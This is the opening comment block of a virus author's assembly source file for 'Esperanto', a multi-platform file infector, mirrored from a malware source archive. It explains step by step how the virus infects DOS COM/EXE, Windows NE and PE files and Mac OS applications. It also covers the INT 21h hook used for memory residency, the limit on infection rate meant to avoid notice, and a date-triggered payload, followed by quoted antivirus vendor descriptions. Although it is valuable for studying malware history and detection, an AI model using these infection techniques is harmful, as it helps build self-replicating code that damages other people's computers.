mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
4b9382ddbc
push
3230 lines
142 KiB
NASM
3230 lines
142 KiB
NASM
;
|
||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||
; ³ /\/\/\/\/ Esperanto \/\/\/\/\ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||
; ³ written by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||
; ³ A MULTIPROCESSOR and MULTIPLATFORM virus ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||
;
|
||
; 0. Introduction
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Welcome to Esperanto, world's first multiprocessor and multiplatform virus
|
||
; ever, which is (pretty obviously) my best virus so far. It took me several
|
||
; months to write it, assemble the whole thing, and put it together into one
|
||
; only file, id est, the virus binary. In every moment i tried to write such
|
||
; a clear, modulized, easily understandable code to the detriment of optimi-
|
||
; zation. However i'm conscious it's necessary to write a previous deep ana-
|
||
; lysis so everybody may clearly understand the 100% of its functioning.
|
||
;
|
||
;
|
||
; 1. Processors/platforms/objects
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Esperanto is able to run in three different kinds of processors, which are
|
||
; Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macin-
|
||
; tosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new
|
||
; Power Macintosh and PowerBook computers).
|
||
;
|
||
; Inside each of these processors it is able to work in several different
|
||
; platforms, thus, in Intel 80x86 processors it will run under DOS, Windows
|
||
; 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will
|
||
; run under any version of Mac OS (since early 6.x up to the recently relea-
|
||
; sed Mac OS 8, which has been fully tested under); albeit Amiga computers
|
||
; use also Motorola processors, Esperanto will not be able to work in them.
|
||
;
|
||
; And now finally, depending on the platform Esperanto is being executed in,
|
||
; it will infect several different objects; when running in DOS and Windows
|
||
; 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, Win-
|
||
; dowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE
|
||
; files. Finally, when run under Mac OS, it will infect Mac OS applications,
|
||
; including extensions, control panels, the System File, the Mac OS Finder,
|
||
; the DA Handler, and, if available, the Desktop File (only in Mac OS <7).
|
||
;
|
||
; The following diagram is pretty useful to understand the above:
|
||
;
|
||
;
|
||
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄ DOS ÄÄÄÄÄÄ COM, EXE, NewEXE, PE
|
||
; ÚÄÄÄÄÄÄÄÄij Intel 80x86 ÃÄÄÄÅÄ Win 3.1x Ä COM, EXE, NewEXE, PE
|
||
; ³ ³ (PCs) ³ ÀÄ Win32 ÄÄÄÄ COM, EXE, PE
|
||
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
; ÚÄÄÄÄÄÁÄÄÄÄÄ¿ ³ Motorola 680x0 ³
|
||
; ³ Esperanto ÃÄij (Old Macs) ÃÄ¿ ÚÄ Mac OS Apps
|
||
; ÀÄÄÄÄÄÂÄÄÄÄÄÙ ³ (Mac Performa) ³ ³ ÃÄ System File
|
||
; ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÃÄ Mac OS ÄÄÅÄ Mac OS Finder
|
||
; ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÃÄ DA Handler
|
||
; ³ ³ PowerPC 6xx ³ ³ ÀÄ Desktop File
|
||
; ÀÄÄÄÄÄÄÄÄij (Power Macs) ÃÄÄÙ (Mac OS <7)
|
||
; ³ (PowerBooks) ³
|
||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
;
|
||
;
|
||
; 2.0. Internal structure
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Esperanto gets the compatibility and the portability between these three
|
||
; different processors by means of the strategyc use of its internal struc-
|
||
; ture, so it's completely necessary to see what does it consist on in order
|
||
; to understand the way Esperanto works.
|
||
;
|
||
; Maybe the first question which comes up to your mind is something similar
|
||
; to "how the fuck can it jump from PCs to Macintoshes?". Theoretically, it
|
||
; would be impossible, as PC applications are compiled for Intel processors,
|
||
; which use different opcodes than the ones used by Motorola and/or PowerPC.
|
||
; But practically it was possible, by means of some tricks. I will try to
|
||
; explain them all point by point.
|
||
;
|
||
; a) How can a PC executable file jump into a Mac? Mac OS uses something si-
|
||
; milar to drivers, called "extensions". Since many time ago Mac OS in-
|
||
; cludes an extension called "PC Exchange", which is loaded by default
|
||
; and is able to read and write any PC disk. Since then lots of Macintosh
|
||
; users, by means of DOS and Win emulators, use lots of PC files in their
|
||
; Macs. The first step is, as you can see, done.
|
||
;
|
||
; b) How can Esperanto infect under Mac OS? well, this requires some theory.
|
||
; Mac OS executable files consist on definite-purpose resources (such as
|
||
; CODE, MDEF (Menu DEFinition), BNDL (bundle), etc). Every executable fi-
|
||
; le in Mac OS has a resource index or relocation at its end, and this is
|
||
; what the operating system looks for in order to distinguish executable
|
||
; and non-executable files. One of these resource indexes has been "arti-
|
||
; ficially" added to the end of the Esperanto body. This item does not do
|
||
; anything under any PC platform, but it does force Mac OS to execute in-
|
||
; fected PC programs in Macs. When going to run any of these PC programs
|
||
; under one of the known DOS or Win emulators, Mac OS will recognize the
|
||
; executable format and then will run the infected file with no emulation
|
||
; so Esperanto will go memory resident under Mac OS. After this, the con-
|
||
; trol will be given back to the Intel emulator and then the infected fi-
|
||
; le will be normally executed, being possible to stay memory resident in
|
||
; the virtual memory used by the DOS or Win emulator as well.
|
||
;
|
||
; c) But aren't the opcodes of each processor different? indeed. And that is
|
||
; why Esperanto has a specific infection routine for Mac OS applications
|
||
; totally written and compiled in Motorola 680x0 code. This submodule was
|
||
; incrusted into the main Esperanto body and is pointed by the previously
|
||
; mentioned resource index. When an infected application is run in Mac OS
|
||
; after having been recognized as an executable file the operating system
|
||
; first checks the resource index. A pointer to a MDEF resource will be
|
||
; found in it, and then the execution will jump straight to the starting
|
||
; offset pointed to in the resource index, where the so called "jump ta-
|
||
; ble" is supposed to be. This jump table is another characteristic of
|
||
; Mac OS applications, and its mission consists on managing the hierarchy
|
||
; of the execution of the different resources in a file. This jump table
|
||
; does not actually exist in Esperanto; instead of it there is a jmp ins-
|
||
; truction (Intel-opcoded) which in PCs will jump to the virus real start
|
||
; and in Macintoshes will be interpreted as non-sense data, so it will be
|
||
; skipped... until the next instruction, a Motorola one, is reached. That
|
||
; is the first instruction of the Mac OS module which, consequently, will
|
||
; be run as execution goes on. Our objective is done.
|
||
;
|
||
; d) And how can the virus run in PowerPC processors? since these processors
|
||
; are used in Power Macintosh and PowerBook computers, in Apple they had
|
||
; to look for some kind of compatibility between old applications (which
|
||
; were compiled for Motorola) and the new processors, so they eventually
|
||
; came up with the idea of including a Motorola code emulator inside the
|
||
; new Mac OS kernel. Since then there's a full compatibility between both
|
||
; processors and their applications, and that's why Esperanto is able too
|
||
; to work in PowerPC-based machines which use Mac OS.
|
||
;
|
||
; e) How can Esperanto jump from Macs to PCs? also very easy. The virus will
|
||
; infect every PC file it finds in the DOS/Win emulator and as soon as o-
|
||
; ne of these files is copied to a PC the work will be done. And remember
|
||
; there's no necessity of any floppy disks, as it's usual to find PC com-
|
||
; puters connected to Macintoshes by networking means. That's why none of
|
||
; the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS)
|
||
; was included in the virus, as they would be a loss of bytes.
|
||
;
|
||
; Once this all is understood it is much simpler to understand the internal
|
||
; structure of the virus. Esperanto consists on four different modules and
|
||
; four entry points. There is a specific virus module for Mac OS, DOS, Win,
|
||
; and Win32. And there is one entry point for each of them: the first one is
|
||
; "universal", it's the one we've just described above. It is valid for COM,
|
||
; EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction,
|
||
; whose mission consists on "discriminating" the processor it is working un-
|
||
; der and, depending on that, distributing the execution point either to the
|
||
; start of the Mac OS module or to the start of the DOS one. The second en-
|
||
; try point is the one straight reached in this last case, and it is valid
|
||
; only for COM and EXE files. The third entry point is the one used by the
|
||
; Windows 3.1x module, and finally the fourth deals with the Win32 code.
|
||
;
|
||
; Again, the use of a diagram will make things much simpler to understand:
|
||
;
|
||
;
|
||
; ÚÄÄÄÄÄÄ¿
|
||
; ÚÄÅÄÄÄÄÄÄÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÄÄ Universal entry point
|
||
; ³ ÀÄÄÄÄijÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÃÄÄ Mac OS entry point
|
||
; ³ ³ÛÛÛÛ Mac OS ÛÛÛÛ³
|
||
; ³ ³ÛÛÛÛ module ÛÛÛÛ³
|
||
; ³ ³ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ³
|
||
; ÀÄÄÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ COM/EXE entry point
|
||
; ³±± DOS module ±±³
|
||
; ³±±(not memres)±±³
|
||
; ÚÄÄÄÄÄÄ´±±±±±±±±±±±±±±±±³
|
||
; ÚÄÅÄÄÄÄÄÄ´°°°°°°°°°°°°°°°°ÃÄÄ NewEXE entry point
|
||
; ³ ³ ³°° Win module °°³
|
||
; ³ ³ ³°°°°°°°°°°°°°°°°³
|
||
; ³ ÀÄÄÄÄij±±±±±±±±±±±±±±±±ÃÄÄ DOS memory resident code
|
||
; ÀÄÄÄÄÄÄij±± DOS module ±±ÃÄÄ 16-bit infection routines
|
||
; ³±±(memory res)±±³
|
||
; ³±±±±±±±±±±±±±±±±³
|
||
; ³²²²²²²²²²²²²²²²²ÃÄÄ PE entry point
|
||
; ³²² W32 module ²²³
|
||
; ³²²²²²²²²²²²²²²²²³
|
||
; ³++++++++++++++++ÃÄÄ Data buffer
|
||
; ³+++++ Data +++++³
|
||
; ³++++++++++++++++³
|
||
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
;
|
||
;
|
||
; 2.1. The Mac OS module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This module (Motorola-opcoded) was written and compiled in a Mac computer.
|
||
; It has the format of a MDEF resource. It's executed every time an infected
|
||
; application is run under Mac OS. When this happens the module will perform
|
||
; the System File infection, so that the virus will be loaded every time the
|
||
; user boots from his hard disk. Then it will give control back to the host.
|
||
;
|
||
; From this moment onwards the virus will rapidly spread all over the system
|
||
; in a "chain" process: after its host has been run, the System File (remem-
|
||
; ber, previously infected) will call and then infect the Mac OS Finder. The
|
||
; Finder, in its turn, will infect *any* accessed file (findfirst, findnext,
|
||
; open, close, chmod...), and this includes the DA Handler, the Desktop File
|
||
; (if available, only in Mac OS <7), control panels, extensions, etc.
|
||
;
|
||
; Infection consists on simply adding a new MDEF resource to the victims and
|
||
; copying the whole viral code into it, setting execution priviledges to the
|
||
; resource with ID=0. Esperanto will not go memory resident twice.
|
||
;
|
||
; I think it would be fair to say that this was probably the part of the vi-
|
||
; rus whose writing i enjoyed most as i had to develop it all myself because
|
||
; there are not any tutorials on Mac OS infection (as far as i know).
|
||
;
|
||
;
|
||
; 2.2.0. The DOS module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This module uses 16-bit Intel code, and was specifically designed to run
|
||
; in DOS. It has the peculiarity of being divided into two different chunks,
|
||
; each of them with a different mission. Now i'll try to describe the func-
|
||
; tioning and the behavior of both of these DOS submodules.
|
||
;
|
||
;
|
||
; 2.2.1. The DOS runtime module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This submodule is executed every time an infected COM or EXE file is run.
|
||
; When this happens, the DOS runtime module will try to perform two actions:
|
||
; first, become memory resident by hooking interrupt 21h; and second, resto-
|
||
; re its host in order to let it be executed.
|
||
;
|
||
; The residency method is completely standard, as the virus first checks for
|
||
; its presence in memory (in order to not to go resident twice), and if this
|
||
; is ok then creates a new MCB, sets it as a system one used by DOS, copies
|
||
; its code into it and then jumps to this copy, so no ëelta-offset is longer
|
||
; needed. Once this happens it will hook interrupt 21h, setting the new vec-
|
||
; tor to the start of the DOS memory resident module, and then will check
|
||
; for the file format of its host, in order to rebuild and jump to it.
|
||
;
|
||
;
|
||
; 2.2.2. The DOS memory resident module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This submodule is executed every time the interrupt 21h is called once the
|
||
; virus has previously gone memory resident. Esperanto intercepts only three
|
||
; functions: its own interrupt service (a ":)" smiley), the findfirst servi-
|
||
; ce (4eh) and the findnext service (4fh). If the int call does not hold any
|
||
; of these services as request, the virus will jump to the original int 21h.
|
||
;
|
||
; Instead, Esperanto will perform several actions when having intercepted a-
|
||
; ny of the functions in hooks. When the value held in AX is equal to 3a29h,
|
||
; which stands for a ":)" smiley, it will increment AH so the eyes will turn
|
||
; into a ";)" wink. This is used for the residency check to not to go memory
|
||
; resident twice. The execution will then jump to the original interrupt.
|
||
;
|
||
; If the value held in AH is equal to 4eh or 4fh (findfirst/findnext), Espe-
|
||
; ranto will try to set up the file for its infection. The virus will first
|
||
; store the full path and the filename, and later will check its extension.
|
||
; If the extension is .COM or .EXE, Esperanto will continue running the cor-
|
||
; responding routines encharged of examining the file and determining whe-
|
||
; ther it is infectable or not. Otherwise it will hand the control over the
|
||
; original interrupt service by means of a "retf" instruction.
|
||
;
|
||
;
|
||
; The 16-bit infection routines
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; For the case the latter didn't happen, Esperanto is about to check the fi-
|
||
; le in DS:DX in order to know if it is worth to be infected or not. But be-
|
||
; fore doing any specific file check (which would depend on its extension),
|
||
; the virus does a call to the "system_checks" routine. This routine is kind
|
||
; of an "infection limiter", used in order to avoid the virus presence being
|
||
; unveiled because of the system slowdown which would happen if there were
|
||
; no limits when infecting files. Thus, Esperanto will infect from 0 up to 3
|
||
; files per (a maximum of a) minute. If the "system_checks" routine does not
|
||
; return a 0 in AH, then Esperanto has not infected 3 files yet in the same
|
||
; minute, so it may keep on seeking for victims.
|
||
;
|
||
; Now, if the possible victim is a COM file, the virus will check first for
|
||
; its infection mark (a ";)" smiley) in the offset 4 of the file. If this is
|
||
; ok then it will just assure itself the file is bigger than 5733 (the virus
|
||
; size+1000) and smaller than 59802 (65535-the virus size-1000). If the file
|
||
; has passed all the tests then it's good to be infected: 4733 bytes will be
|
||
; appended to its end and it will have a new 5 bytes long header (jmp+";)").
|
||
;
|
||
; The conditions required for EXE files are different. The virus will see if
|
||
; the first word in the file is MZ or ZM. Later it will check for its infec-
|
||
; tion mark, any overlay, and the presence of PkLite. If nothing goes bad it
|
||
; will then skip the file if it's smaller than 5733 (Esperanto+1000) and fi-
|
||
; nally will see if it is a Windows EXE file. For the case it is not the vi-
|
||
; rus will modify CS, IP, SS and SP besides other pointers in the MZ header,
|
||
; and then append itself to the end of the file.
|
||
;
|
||
; If it is about a Windows EXE file, it will decrement the pointer in 3ch to
|
||
; the new EXE header by 8, and then rewrite the MZ header. This new EXE hea-
|
||
; der will be read (512 bytes) and then Esperanto will check for the NE (for
|
||
; NewEXEs) or PE (for PEs) mark. If a different mark (LE, LX...) is found,
|
||
; the file will be rejected, and the original header rebuilt. If it is about
|
||
; a NewEXE, the virus will check straight for the gangload area. If it is ok
|
||
; then Esperanto will infect the file: first it will update all the pointers
|
||
; related with the segment table, as it will be shifted. Later, the gangload
|
||
; area will be killed for compatibility, and the new CS:IP will be set. Fi-
|
||
; nally the NE header and the segment table will be shifted by 8 and the vi-
|
||
; ral code plus the relocation item appended to the end of the file.
|
||
;
|
||
; Finally, if the file turns out to be a PE the virus will read again the MZ
|
||
; header of the file and readd 8 to the pointer in 3ch. A page from the off-
|
||
; set pointed by the latter will be read again (ie, the PE header), and then
|
||
; the checks will start again. These consist on checking if the file is exe-
|
||
; cutable and if it's not a DLL. After this, Esperanto looks for the import
|
||
; section in the file, reads it, and then looks for the KERNEL32.DLL module
|
||
; descriptor. Files which do not import any API from it will consequently be
|
||
; discarded, as well as binded files. The final step before infection con-
|
||
; sists on storing in a dynamic variable the RVAs for the GetModuleHandleA
|
||
; and GetProcAddress APIs. Once these steps are done the victim is ready for
|
||
; infection. The virus will attach itself as an extension of the last sec-
|
||
; tion in the file, and then will modify the AddressOfEntryPoint field so it
|
||
; points to the start of the virus, the section characteristics to exec/read
|
||
; /write, and the SizeOfImage field. And, of course, the virus will then ap-
|
||
; pend its body to the end of the file.
|
||
;
|
||
;
|
||
; 2.3. The Windows 3.1x module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This module is executed every time an infected NewEXE file is run. It will
|
||
; first of all get an alias selector for CS and point it with DS. As soon as
|
||
; this is done it will use its own runtime routines in order to look for so-
|
||
; me files (COM and EXE) to infect. To save bytes, the module shares the sa-
|
||
; me infection routines used by the DOS module (read the "The 16-bit infec-
|
||
; tion routines" point for further information). As soon as the maximum num-
|
||
; ber of files to infect (according to the virus limiter) is reached, Espe-
|
||
; ranto will jump to the original CS:IP of its host.
|
||
;
|
||
;
|
||
; 2.4. The Win32 module
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This last module is executed every time an infected PE file is run. It was
|
||
; written and compiled in 32-bit protected mode, and that is what it is able
|
||
; to work in: Win32 platforms (Win32s/Windows95/WindowsNT). When it's execu-
|
||
; ted it first gets the base address of its host and pushes its real entry
|
||
; point, and later performs several actions in order to stay compatible and
|
||
; portable between all the Win32 platforms. These actions consist on getting
|
||
; the previously stored RVA of GetModuleHandleA and calling this API in or-
|
||
; der to get the address of the KERNEL32 module, and later getting the also
|
||
; previously stored RVA of GetProcAddress in order to use it and thus be a-
|
||
; ble to get the address of all the APIs needed by Esperanto. If the RVAs of
|
||
; GetModuleHandleA and GetProcAddress were not stored for some reason, Espe-
|
||
; ranto would use its own undocumented routines in order to get the base ad-
|
||
; dress of KERNEL32 and, inside the export table of the latter, the address
|
||
; of the GetProcAddress API function.
|
||
;
|
||
; Once these steps are done Esperanto calls the GetLocalTime API in order to
|
||
; know if the current date is the one required by the payload to activate.
|
||
; This payload and its effects are fully described below. If the date is not
|
||
; the one the payload needs to activate then the execution will continue and
|
||
; the virus will use the FindFirstFileA/FindNextFileA APIs in order to find
|
||
; some files to infect. Again, the infection will be controlled and Esperan-
|
||
; to will hit a maximum of three files per run. The checks performed by this
|
||
; module are the same than the ones performed by the DOS module, and the in-
|
||
; fection routines consist on exactly the same, besides in two points: first
|
||
; of them is the fact that this module uses file mapping in memory in order
|
||
; to make things easier and save bytes; and second is that this module does
|
||
; not infect NewEXE files, as divisions with 32-bit integers when DX is not
|
||
; equal to zero cause troubles; the solution would be either only infecting
|
||
; NewEXEs < 0ffffh (as done with EXEs) or making a 16-bit division. I didn't
|
||
; like any of them so i avoided a headache just by skipping NewEXE files.
|
||
;
|
||
;
|
||
; 2.5. Union makes the power
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; It's not about the fact that this virus has been written to be in the wild
|
||
; or shit like that. In fact i did not take care about restoring file attri-
|
||
; butes, date or time, because i wrote this just to "prove my point", not to
|
||
; release it and let it survive in the wild, so i don't care it being easy
|
||
; to detect or unveiling its presence. It was just a challenge for myself,
|
||
; not a defiance for innocent average-level computer users.
|
||
;
|
||
; It's about its versatility. You could see the virus consists on four modu-
|
||
; les. Each of those modules was written individually and thus would be able
|
||
; to work with no need of the presence of the resting modules (except of the
|
||
; Windows 3.1x one, which shares its infection routines because of optimiza-
|
||
; tion reasons). Separately they would be normal infectors. But they all to-
|
||
; gether are a unique virus in its class. For the same reason, the infection
|
||
; ratio and the versatility of the virus are much bigger than if it would be
|
||
; separated into independent modules: the DOS module goes memory resident in
|
||
; order to infect files while the Windows 3.1x and the Win32 ones use runti-
|
||
; me infection. But what happens if the virus (the DOS module) is memory re-
|
||
; sident and Windows 3.1x or a Win32 platform is loaded? the result is that
|
||
; Esperanto will then use both memory *and* runtime infection as the DOS mo-
|
||
; dule is able to stay resident also under Windows and both Windows 3.1x and
|
||
; Win32 call the original 4eh/4fh services of interrupt 21h in order to find
|
||
; files. Esperanto would be, as you can see, much more infectious. And don't
|
||
; see this as a remote possibility, as WIN.COM is usually the first file the
|
||
; virus infects from its Windows 3.1x module, for instance.
|
||
;
|
||
; Finally i would like to add a clarification about the virus. You will pro-
|
||
; bably find strange or non-sense things on it, or even things you can't un-
|
||
; derstand or think they're wrong or could be improved. And you will kind be
|
||
; right and kind be wrong... "they are not bugs, they are features". What do
|
||
; are bugs are some included on purpose in order to stop the virus spreading
|
||
; fast so it can't go too far in the wild.
|
||
;
|
||
; Note again that the purpose of this virus is not to infect people and thus
|
||
; become widespread in the wild; its real objective is summed up in the pre-
|
||
; tty famous Nike slogan... "just do it" ;)
|
||
;
|
||
;
|
||
; 3. Payload
|
||
; ÄÄÄÄÄÄÄÄÄÄ
|
||
; This virus took its name after the universal language Esperanto. This lan-
|
||
; guage was invented in 1887 by L.L.Zamenhof, a polish doctor. Esperanto was
|
||
; designed to be the second language of everyone, and then was invented with
|
||
; no irregularities and/or exceptions, so everybody would be able to rapidly
|
||
; and easily learn it and communicate with other Esperanto speakers. It ini-
|
||
; tially had a lot of success, but its growing process was stopped by the II
|
||
; World War as lots of its speakers died in it. Since about ten years ago it
|
||
; is experiencing a new peak, and its use has been recommended many times by
|
||
; international organisms such as UNESCO, which also stress its paedagogy as
|
||
; Esperanto, once learnt, makes the learning process of other languages much
|
||
; easier. Today, Esperanto is spoken by about ten million people.
|
||
;
|
||
; I found some parallelism between this language and my virus because as the
|
||
; language goes beyond any culture, race or whatsoever the virus goes beyond
|
||
; any processor, platform or file format. And also because i personally sup-
|
||
; port and speak Esperanto it seemed to me the perfect name for my virus.
|
||
;
|
||
; The payload activates every year on july 26th, which was the release date,
|
||
; in 1887, of "Internacia Lingvo" (International Language), by Zamenhof, the
|
||
; first book written in Esperanto. Today there are over ten thousand titles.
|
||
; The virus payload will activate only when running in a Win32 platform, and
|
||
; consists on showing the text below within a message box. When the user ac-
|
||
; cepts the "ok" button the virus jumps straight to the host, without infec-
|
||
; ting any file (that's its only vacancy time).
|
||
;
|
||
;
|
||
; Never mind your culture / Ne gravas via kulturo,
|
||
; Esperanto will go beyond it / Esperanto preterpasos gxin;
|
||
; never mind the differences / ne gravas la diferencoj,
|
||
; Esperanto will overcome them / Esperanto superos ilin.
|
||
;
|
||
; Never mind your processor / Ne gravas via procesoro,
|
||
; Esperanto will work in it / Esperanto funkcios sub gxi;
|
||
; never mind your platform / Ne gravas via platformo,
|
||
; Esperanto will infect it / Esperanto infektos gxin.
|
||
;
|
||
; Now not only a human language, but also a virus...
|
||
; Turning impossible into possible, Esperanto.
|
||
;
|
||
;
|
||
; What reads after the slash in every line is, of course, the translation of
|
||
; the english "verse" into Esperanto. And yes, i know it looks strange :)
|
||
;
|
||
;
|
||
; 4.0 The "other side"
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; It has only passed one week after having sent the virus to two AVers. This
|
||
; is what we could get from them by the moment. Further reports and analyses
|
||
; will be referenced in the next issue of 29A.
|
||
;
|
||
;
|
||
; 4.1. Mikko Hypp”nen speaks (F-Prot)
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; (*) http://www.DataFellows.com/v-descs/esperant.htm
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; NAME: Esperanto
|
||
; TYPE: Resident COM/EXE-files
|
||
;
|
||
; This virus infects lots of different executables:
|
||
;
|
||
; When running in DOS and Windows 3.1x it will infect:
|
||
; - DOS COM files
|
||
; - DOS EXE files
|
||
; - Windows 3.x NewEXE files,
|
||
; - Windows 95 PE EXE files
|
||
; - Windows NT PE EXE files
|
||
;
|
||
; When running in Windows 95, Windows NT and Win32s it will infect:
|
||
; - DOS COM files
|
||
; - DOS EXE files
|
||
; - Windows 95 PE EXE files
|
||
; - Windows NT PE EXE files
|
||
;
|
||
; The virus carries a dropper of a Macintosh virus in it's code.
|
||
; This will work under Mac and PowerMac and will infect:
|
||
; - Mac OS applications
|
||
; - Extensions
|
||
; - Control panels
|
||
; - The System File
|
||
; - The Mac OS Finder
|
||
; - The DA Handler
|
||
; - The Desktop File
|
||
;
|
||
; When Esperanto is running on a PC, it will stay resident and infect
|
||
; programs when they are accessed.
|
||
;
|
||
; When such COM and EXE files are taken to a Macintosh or a PowerMac and
|
||
; executed under a PC emulator such as SoftPC or SoftWindows, they will
|
||
; execute as Mac programs. This happens because Esperanto adds a special
|
||
; resource-like add-on to PC files. Such programs will drop a Mac-specific
|
||
; virus which will continue spreading on Macintosh computers. The Mac
|
||
; version of the virus will not spread back to PC users. PC version of
|
||
; the virus won't infect Mac executables directly even if it would
|
||
; have access to them through floppies or file sharing.
|
||
;
|
||
; Esperanto activates every year on July 26th. The first book in the
|
||
; international Esperanto language was released on this date. When an
|
||
; infected file is executed under Windows 95 or Windows NT on this date,
|
||
; the virus will show a dialog box with the following texts:
|
||
;
|
||
; Never mind your culture / Ne gravas via kulturo,
|
||
; Esperanto will go beyond it / Esperanto preterpasos gxin;
|
||
; never mind the differences / ne gravas la diferencoj,
|
||
; Esperanto will overcome them / Esperanto superos ilin.
|
||
;
|
||
; Never mind your processor / Ne gravas via procesoro,
|
||
; Esperanto will work in it / Esperanto funkcios sub gxi;
|
||
; never mind your platform / Ne gravas via platformo,
|
||
; Esperanto will infect it / Esperanto infektos gxin.
|
||
;
|
||
; Now not only a human language, but also a virus...
|
||
; Turning impossible into possible, Esperanto.
|
||
;
|
||
; The Mac version of Esperanto was the first new Mac virus for over two
|
||
; years when it was discovered in November 1997.
|
||
;
|
||
; [Analysis: Mikko Hypponen, Data Fellows Ltd]
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
;
|
||
;
|
||
; 4.2. Eugene Kaspersky speaks (AVP)
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; (*) http://www.avp.ch/avpve/file/e/esperant.stm
|
||
;
|
||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||
; Esperanto.4733
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This is a multiplatform parasitic virus. It infects DOS COM and EXE,
|
||
; Windows EXE (NE) and Windows32 EXE (PE) files. It also has a part of
|
||
; code that looks like a MDEF Macintosh resource and seems to be also a
|
||
; virus for the Macintosh. I see no way for that virus to spread from
|
||
; Macintosh to PC, and from PC to Macintosh - being executed as DOS/Win
|
||
; application the virus pays no attention for Mac files. It seems to be
|
||
; the same for infected Mac programs - the virus does not pay attention
|
||
; for DOS/Win files. I think that the only way to spread that virus from
|
||
; Mac to PC and back is to copy and run it "manually".
|
||
;
|
||
; When an infected file is executed under DOS, the virus hooks INT 21h and
|
||
; stays memory resident. When files are executed or accessed by FindFirst/
|
||
; Next DOS calls, the virus infects them. The virus also searches for COM
|
||
; and EXE files and infects them. Being executed as Windows or Windows32
|
||
; application, the virus does not leave its TSR copy in the memory - it
|
||
; just searches for files and infects them.
|
||
;
|
||
; While infecting the virus parses internal file format, separates DOS COM,
|
||
; EXE, NewEXE and Portable EXE files and infects them in different ways:
|
||
; writes itself to the end of DOS COM and EXE files and modifies file
|
||
; header, creates new section in Windows NE files, appends itself to the
|
||
; last section in Windows32 PE files.
|
||
;
|
||
; Being executed as Windows32 application the virus also checks the system
|
||
; time and depending on it displays the MessageBox:
|
||
;
|
||
; [Esperanto, by Mister Sandman/29A]
|
||
; Never mind your culture / Ne gravas via kulturo,
|
||
; Esperanto will go beyond it / Esperanto preterpasos gxin;
|
||
; never mind the differences / ne gravas la diferencoj,
|
||
; Esperanto will overcome them / Esperanto superos ilin.
|
||
;
|
||
; Never mind your processor / Ne gravas via procesoro,
|
||
; Esperanto will work in it / Esperanto funkcios sub gxi;
|
||
; never mind your platform / Ne gravas via platformo,
|
||
; Esperanto will infect it / Esperanto infektos gxin.
|
||
;
|
||
; Now not only a human language, but also a virus...
|
||
; Turning impossible into possible, Esperanto.
|
||
;
|
||
; The virus also contains the text strings that are used while infecting
|
||
